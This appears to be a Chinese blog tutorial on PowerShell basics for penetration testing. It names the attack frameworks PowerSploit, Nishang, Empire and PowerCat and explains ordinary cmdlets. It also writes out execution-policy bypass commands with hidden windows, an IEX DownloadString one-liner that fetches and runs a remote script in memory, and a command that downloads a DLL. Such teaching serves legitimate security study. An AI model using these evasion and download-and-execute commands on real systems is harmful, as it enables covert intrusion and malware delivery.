PowerShell 基本知识

常见的 powershell 攻击工具:

PowerSploit:powershell 后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作

Nishang:基于 PowerShell 的渗透测试专用工具,集成了框架、脚本和各种payload,包含下载和执行、键盘记录、DNS、延时命令等脚本

Empire:基于 PowerShell 的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用语提供前期漏洞利用的集成模块、信息探测、凭证窃取、持久化控制

PowerCat:PowerShell 版的 NetCat,有着网络工具中的 “瑞士军刀” 美誉,它能通过 TCP和UDP 在网络中读写数据。通过与其它工具结合和重定向,可以在脚本以多种方式使用它

PowerShell 优点

  • windows7以上的操作系统默认安装
  • 可以从另一系统中下载 powershell 脚本并执行
  • 目前很多工具都是基于 powershell 开发的
  • 很多安全软件并不能检测到 powershell 的活动
  • cmd.exe 通常会被阻止运行,但是 powershell 不会
  • 可以用来管理活动目录

在 powershell 下,类似“cmd”命令,叫做“cmdlet”,powershell 命令不区别大小写,后缀文件名:.ps1(powershell1.0)

一、执行策略

为防止恶意脚本的执行,powershell 有一个执行策略,默认情况下,执行策略被设为受限

Get-ExecutionPolicy(执行策略)

Restricted:脚本不能受限(默认设置)

RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)

AllSigned:仅当脚本由受信任的发布者签名时才能运行

Unrestricted:允许所有的script运行

设置执行策略:Set-ExecutionPolicy <policy name>

二、运行脚本

运行一个powershell 脚本,必须键入完整的路径和文件名,如 C:\Scripts\a.ps1

但如果powershell 脚本刚好位于系统目录中(路径),可直接在命令提示符后键入脚本文件名,如.\a.ps1,记住需要加 .\

三、管道

管道:将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号( | )连接

停止所有目前运行中,以 “p” 开头的程序

结果可以看到 powershell 停止运行了

   

四、常用命令

poershell 命令采用 “动词-名词”形式,如 New-Item ,一般兼容了 windows command 和 linux shell ,如 Get-ChildItem 命令 使用 dir 或者 ls 都可,powershell 不区分大小写

获取所有的powershell命令:get-command

新建目录:New-Item XXXX -type Directory  或者 New-Item XXXX -ItemType Directory

 

 新建文件:New-Item XXXX  -type File(无法在系统中或者c盘下创建文件,可能是权限不够)

删除文件或目录:remove-item XXX

设置文本内容:set-content XXX.txt -value "hello,world!"   (如果当前目录下并未存在此文件,会自动创建)

显示文本内容:get-content XXX

追加内容:add-content XXX -value "XXX"        (自动换行)

 清除内容:clear-content XXX

 

 五、绕过策略

(脚本不能运行)

1.绕过本地权限执行

上传 XXX.ps1 至目标服务器,在cmd环境下,在目标服务器本地执行该脚本

powershell.exe -ExecutionPolicy Bypass -file XXX.ps1

ExecutionPolicy -Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,powershell的安全策略规定了powershell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。基本每次运行powershell脚本都要使用这个参数

2.本地隐藏绕过权限执行脚本

powershell.exe -ExecutionPolicy -Bypass -WindowStyle Hidden -Nologo -Nonlnteractive -NoProfile -File XXX.ps1

WindowStyle Hidden:隐藏窗口

NoLogo:启动不显示版权标志的powershell

NonInteractive(-NonI):非交互模式,powershell不为用户提供交互的提示

NoProfile(-NoP):powershell控制台不加载当前用户的配置文件

3.用 IEX 下载远程ps1 脚本跳过权限执行

powershell.exe -ExecutionPolicy Bypass WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("xxx.ps1");[paramters]

 Noexit:执行后不退出 shell,这在使用键盘记录等脚本时非常重要

 注意:hello,hacker写进test.ps1中必须是带"" ,否则会出错

六、powershell 下载文件

(1)使用 PowerShell 下载文件,最先想到的就是 Invoke-WebRequest 命令。可它有 3 个别名,分别是 “iwr”、“wget”、“curl”。

(2)System.Net.WebClient

NET 框架中的 System.Net.WebClient 类就是一个用于下载文件的 .NET 类;与 IEX(只有一个参数) 不同,IEX 只是将脚本加载内存,而没有将脚本下载到本地

(New-Object System.Net.WebClient).DownloadFile("http://192.168.110.130/test.dll","c:\win-test\test.dll")

上面例子:第一个参数是下载文件的地址,第二个参数是文件下载完成后保存的地址

注意:第二个参数保存地址不是单纯路径,需要在后面加上文件的名称,否则会出现错误

  • 5
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值